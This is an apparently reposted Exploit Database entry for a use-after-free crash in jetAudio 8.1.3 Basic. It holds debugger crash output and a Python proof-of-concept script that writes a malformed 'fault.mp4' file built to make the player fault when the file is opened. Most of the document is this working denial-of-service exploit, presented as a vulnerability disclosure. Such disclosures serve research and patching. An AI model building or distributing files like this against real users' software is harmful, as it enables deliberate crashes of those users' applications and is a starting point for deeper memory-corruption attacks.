JetAudio 8.1.3 – ‘.mp4’ Crash (PoC)

Exploit Database
125 阅读

作者： Drozdova Liudmila

日期： 2014-12-12
类别：
- dos
平台：
- windows
来源：https://www.exploit-db.com/exploits/35827/

# Exploit Title : jetAudio 8.1.3 Basic Use-after-free (Corrupted mp4) Crash POC

# Product : jetAudio Basic

# Date : 12.12.2014

# Exploit Author : ITDefensor Vulnerability Research Team http://itdefensor.ru/

# Software Link : http://www.jetaudio.com/download/

# Vulnerable version : 8.1.3 (Latest at the moment) and probably previous versions

# Vendor Homepage : http://www.jetaudio.com/

# Tested on : jetAudio 8.1.3 Basic installed on Windows 7 x64, Windows Server 2008, Windows 7 x86

# CVE : unknown at the moment

#============================================================================================

# Open created POC file (fault.mp4) with jetAudio

# Details

# (6e74.6e20): Access violation - code c0000005 (first chance)

#First chance exceptions are reported before any exception handling.

# This exception may be expected and handled.

#JFDSPL!JPluginCreate+0x338f8:

#0a1a7588 8b11mov edx,dword ptr [ecx]ds:002b:050aacf8=????????

#0:000:x86> kb

#ChildEBP RetAddrArgs to Child

#WARNING: Stack unwind information not available. Following frames may be wrong.

#0018feec 72512466 00000000 00000000 00000000 JFDSPL!JPluginCreate+0x338f8

#*** ERROR: Symbol file could not be found.Defaulted to export symbols for JetAudio.exe -

#0018ff00 005961ba 00000000 f9b7337c 00000000 MSVCR90!exit+0x11

#0018ff88 7558338a 7efde000 0018ffd4 771e9f72 JetAudio!CxIOFile::~CxIOFile+0x19414a

#0018ff94 771e9f72 7efde000 765bba31 00000000 kernel32!BaseThreadInitThunk+0xe

#0018ffd4 771e9f45 00596315 7efde000 00000000 ntdll32!__RtlUserThreadStart+0x70

#0018ffec 00000000 00596315 7efde000 00000000 ntdll32!_RtlUserThreadStart+0x1b

#0:000:x86> u 0a1a7588

#JFDSPL!JPluginCreate+0x338f8:

#0a1a7588 8b11mov edx,dword ptr [ecx]

#0a1a758a 8b420cmov eax,dword ptr [edx+0Ch]

#0a1a758d 6a01push1

#0a1a758f 6870ff1d0apushoffset JFDSPL!CxIOFile::~CxIOFile+0x303e0 (0a1dff70)

#0a1a7594 ffd0calleax

#0a1a7596 6affpush0FFFFFFFFh

#0a1a7598 6a00push0

#0a1a759a 8d8e043d0000lea ecx,[esi+3D04h]

#============================================================================================

#!/usr/bin/python

pocdata=("\x00\x00\x00\xFA\x66\x74\x79\x70\x6D\x70\x34\x32\x6D\x70\x34\x32\x6D\x70\x34\x32\x6D\x70\x34\x32\x6D\x70\x34\x32\x6D\x70\x34\x32\x6D\x70\x34\x32\x6D\x70\x34\x32\x6D\x70\x34\x32\x6D\x70\x34\x32\x6D\x70\x34\x32\x6D\x70\x34\x32\x6D\x70\x34\x32\x6D\x70\x34\x32\x6D\x70\x34\x32\x6D\x70\x34\x32\x6D\x70\x34\x32\x6D\x70\x34\x32\x6D\x70\x34\x32\x6D\x70\x34\x32\x6D\x70\x34\x32\x6D\x70\x34\x32\x6D\x70\x34\x32\x6D\x70\x34\x32\x6D\x70\x34\x32\x6D\x70\x34\x32\x6D\x70\x34\x32\x6D\x70\x34\x32\x6D\x70\x34\x32\x6D\x70\x34\x32\x6D\x70\x34\x32\x6D\x70\x34\x32\x6D\x70\x34\x32\x6D\x70\x34\x32\x6D\x70\x34\x32\x00\x00\x00\x00\x6D\x70\x34\x32\x69\x73\x6F\x6D\x61\x76\x63\x31\x6D\x70\x34\x32\x6D\x70\x34\x32\x6D\x70\x34\x32\x6D\x70\x34\x32\x6D\x70\x34\x32\x6D\x70\x34\x32\x6D\x70\x34\x32\x6D\x70\x34\x32\x6D\x70\x34\x32\x6D\x70\x34\x32\x6D\x70\x34\x32\x6D\x70\x34\x32\x6D\x70\x34\x32\x6D\x70\x34\x32\x6D\x70\x34\x32\x6D\x70\x34\x32\x6D\x70\x34\x32\x6D\x70\x34\x32\x6D\x70\x34\x32\x6D\x70\x34\x32\x6D\x70\x34\x32\x6D\x70\x6D\x70\x34\x32\x00\x00")

mp4file = "fault.mp4"

file = open(mp4file,"w")

file.write(pocdata)

file.close()